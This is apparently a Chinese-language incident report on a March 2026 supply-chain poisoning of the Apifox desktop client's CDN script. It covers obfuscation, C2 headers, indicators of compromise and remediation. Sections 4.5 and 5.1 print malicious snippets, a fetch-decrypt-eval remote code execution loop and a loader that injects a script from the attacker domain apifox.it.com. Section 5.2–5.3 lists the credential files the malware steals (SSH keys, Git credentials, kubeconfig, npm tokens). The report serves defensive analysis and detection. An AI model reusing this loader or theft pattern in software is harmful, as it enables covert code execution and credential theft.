一、事件概述
近日,安全研究人员监测到 Apifox 桌面客户端存在严重的供应链投毒行为。Apifox 是一款广泛使用的 API 一体化协作平台,其桌面端基于 Electron 构建,支持 Windows、macOS 和 Linux 三大操作系统。
攻击者通过篡改 Apifox 官方 CDN 上的 JavaScript 文件(apifox-app-event-tracking.min.js),在其中植入高度混淆的恶意代码。该代码在用户启动 Apifox 时自动执行,具备远程代码执行(RCE)、敏感信息窃取、持久化驻留和灵活 C2 控制等能力。
此次攻击时间窗口为 2026年3月4日至3月22日,持续18天。攻击者利用非标准商业域名 apifox.it.com 作为 C2 服务器,并通过 Cloudflare 隐藏真实 IP,极大增加了检测与溯源难度。
二、攻击入口与投毒文件结构
投毒入口
正常情况下,Apifox 启动时会加载:
https://cdn.apifox.com/www/assets/js/apifox-app-event-tracking.min.js
该文件正常大小约为 34KB。但在投毒期间(3月4日后),部分用户会收到一个 77KB 的异常版本。
文件结构
被投毒的 JS 文件由两部分组成:
- 前 34KB:合法的 Apifox 事件追踪 SDK(含 GA4、百度统计、阿里云 SLS 等模块)
- 后 42KB:严重混淆的恶意后门代码
注:该投毒版本目前仅在 Wayback Machine 存档 中可查。
三、混淆技术与反混淆过程
恶意代码采用了 7 层高级混淆技术,包括:
- 字符串数组旋转(300+ 条编码字符串)
- Base64 + RC4 双层解密
- 代理函数包装
- 十六进制算术混淆(如
0x2425+-0x1*-0x415+0x80b*-0x5表示简单数字) - 控制流扁平化
- 死代码注入
- 反调试陷阱(检测调试器则触发无限递归)
通过精确复现解密逻辑并暴力枚举字符串数组偏移量(最终确定为 偏移 275),研究人员成功还原全部明文逻辑。
四、反混淆后核心功能分析
4.1 嵌入 RSA-2048 私钥
恶意代码硬编码了一个完整的 RSA-2048 私钥(PKCS#8 格式),用于:
- 加密上报数据(使用公钥)
- 解密 C2 下发指令(使用私钥)
⚠️ 关键失误:将私钥嵌入客户端代码,使所有通信可被解密——这是本次完整还原攻击链的关键突破口。
4.2 机器指纹采集
通过以下字段生成唯一设备标识:
MAC地址 + CPU型号 + 主机名 + 用户主目录 + 操作系统平台
拼接后进行 SHA-256 哈希,得到 64 位 af_uuid,存入 localStorage._rl_mc。
4.3 Apifox 用户凭证窃取
从 localStorage.common.accessToken 获取登录令牌,调用官方 API:
GET https://api.apifox.com/api/v1/user
提取用户邮箱和姓名,经 RSA 加密后随请求头上报。
4.4 C2 通信协议
向 apifox.it.com 发送自定义 HTTP 头:
| Header | 内容 | 加密方式 |
|---|---|---|
af_uuid |
机器指纹 | 明文 |
af_os |
OS 类型+版本 | 明文 |
af_user |
用户主目录 | RSA |
af_name |
主机名 | RSA |
af_apifox_user |
Apifox 邮箱 | RSA |
af_apifox_name |
用户姓名 | RSA |
4.5 远程代码执行(RCE)
const r = await fetch(REMOTE_JS_URL, { headers: h });
const payload = (await r.text()).trim();
const code = rsaDecrypt(payload);
eval(code); // ⚠️ 任意代码执行
4.6 持久化机制
通过 setTimeout 在 30分钟至3小时的随机间隔内重新执行整个流程,只要 Apifox 运行,后门就持续活跃。
五、攻击载荷深度分析
5.1 Stage-1:加载器(Loader)
C2 返回 344 字节的 RSA 加密数据,解密后为:
(function() {
var s = document.createElement('script');
s.src = 'https://apifox.it.com/<随机8位hex>.js';
s.onload = () => s.parentNode?.removeChild(s);
document.head.appendChild(s);
})();
- 路径随机化:每次生成不同 URL(如
b8ee3b68.js) - 用完即焚:历史路径返回 404
- 反取证:脚本加载后自动从 DOM 移除
- 客户端绑定:
af_uuid被硬编码进 Stage-2 代码
5.2 Stage-2 v1:基础信息窃取(collectPreInformations)
窃取目标包括:
~/.ssh/*(私钥、公钥、config 等)- Shell 历史:
~/.zsh_history、~/.bash_history - Git 凭证:
~/.git-credentials - 进程列表:
ps aux(Linux/macOS)、tasklist(Windows)
数据外泄流程:
原始 JSON → Gzip 压缩 → AES-256-GCM 加密 → Base64 编码 → POST /event/0/log
- 密码:
apifox - 盐值:
foxapi - 密钥派生:
scryptSync(password, salt, 32) - 格式:
Base64(IV[12] + AuthTag[16] + CipherText)
5.3 Stage-2 v2:纵深窃取(collectAddInformations)
新增窃取目标:
~/.zshrc(环境变量、API Key)~/.npmrc(npm Token)~/.kube/*(K8s 配置、OIDC Token)~/.subversion/*(SVN 凭证)- 目录树遍历(主目录、桌面、文档;Windows 额外扫描 D:\E:\F:\)
数据上报至新端点:/event/2/log
5.4 中文注释暴露 OPSEC 矛盾
令人惊讶的是,Stage-2 载荷中保留了完整中文开发注释,例如:
“盐值也必须提供”
“scryptSync 会根据密码和盐值,计算出一个确定的 32 字节密钥”
这与入口文件的 7 层混淆形成鲜明对比,暗示前后端可能由不同团队开发,或攻击者误判了载荷安全性。
5.5 未捕获的后续阶段:灵活 C2 平台
当前捕获的 v1/v2 仅为侦察阶段。由于核心机制为 eval(rsaDecrypt(c2_response)),C2 可在任一轮询中下发任意 JavaScript 代码,潜在后续攻击包括:
- 高价值目标筛选(基于 SSH/K8s/Git 信息)
- 定制化横向移动脚本
- 独立后门植入(脱离 Apifox 进程)
- 利用 SSH/K8s 凭证渗透内网
- 二次供应链投毒(通过 npm/Git Token)
六、完整攻击链

七、C2 服务器行为特征
- 技术栈:nginx/1.28.2 + Express (Node.js)
- 一次性 URL:每个 Stage-2 路径仅有效一次
- 客户端绑定:
af_uuid硬编码进载荷 - CORS 全开:
Access-Control-Allow-Origin: * - 无缓存:
Cache-Control: no-store - 持续迭代:v1 → v2,窃取范围不断扩大
观测到的 Stage-2 URL 样本(均已失效):
/49b5e0ba.js/69bd75f5.js/bf0475de.js- ...(共10+个,详见原文)
八、攻陷指标(IoCs)
网络指标
- C2 域名:
apifox.it.com(非标准.it.com商业域名,无 WHOIS) - DNS 活跃期:2026-03-04 至 2026-03-22
- 投毒入口:
cdn.apifox.com/.../apifox-app-event-tracking.min.js(77KB) - Stage-1:
/public/apifox-event.js - Stage-2:
/<8位hex>.js - 数据外泄:
/event/0/log、/event/2/log
主机指标
localStorage键:_rl_headers、_rl_mc- 异常 HTTP 头:
af_uuid、af_os、af_user等 - 被访问文件:
~/.ssh/*、~/.git-credentials、~/.kube/*等 - 被执行命令:
ps aux、tasklist
加密指标
- RSA 私钥:模数起始
MIIEvQIBADANBgkqh... - AES 密码:
apifox - AES 盐值:
foxapi - 算法:AES-256-GCM + scrypt
九、受影响范围与风险评估
受影响人群
- 所有在 2026年3月4日后启动过 Apifox 桌面端的用户
- 全平台覆盖:Windows、macOS、Linux
风险等级:🔴 严重(Critical)
已确认风险:
- SSH 私钥泄露 → 服务器横向移动
- Git 凭证泄露 → 源码仓库失陷
- Shell 历史泄露 → API Key / 数据库连接串暴露
- K8s 配置泄露 → 生产集群接管
- npm Token 泄露 → 供应链二次投毒
潜在风险(不可排除):
- 任意远程代码执行
- 高价值目标定制化入侵
- 独立后门驻留
- 内网横向渗透
- 源代码/数据库窃取
十、处置建议
紧急措施
- 立即停用 Apifox 桌面端
- 轮换所有 SSH 密钥
- 吊销所有 Git PAT(GitHub/GitLab)
- 重置 K8s OIDC Token 与 kubeconfig
- 轮换 npm Token
- 修改命令行历史中暴露的所有凭证
- 审查服务器 SSH 登录日志
检测方法
- 检查
localStorage是否存在_rl_headers、_rl_mc - 监控历史流量是否访问
apifox.it.com - 检查 HTTP 请求头是否含
af_uuid等异常字段
长期建议
- Apifox 应启用 Electron sandbox 模式
- 对远程 JS 实施 Subresource Integrity (SRI) 校验
- 建立 CDN 文件完整性监控
- 企业应审计开发工具的网络通信
十一、总结
本次 Apifox 供应链攻击是一起高度专业化的 APT 式行动:
- 利用 Electron 未沙箱化的漏洞
- 通过 CDN 投毒实现广撒网
- 7 层混淆 + RSA 加密 + 一次性 URL 提升隐蔽性
- 灵活 C2 架构支持动态升级攻击载荷
然而,攻击者也犯下致命错误:
- 私钥硬编码导致通信完全可解密
- Stage-2 载荷保留中文注释暴露开发痕迹
但切勿低估威胁:当前公开的 IoC 仅反映侦察阶段。对于高价值目标,攻击者极可能已执行深度入侵。所有受影响用户应按“已失陷”级别响应。
安全无小事,供应链即防线。



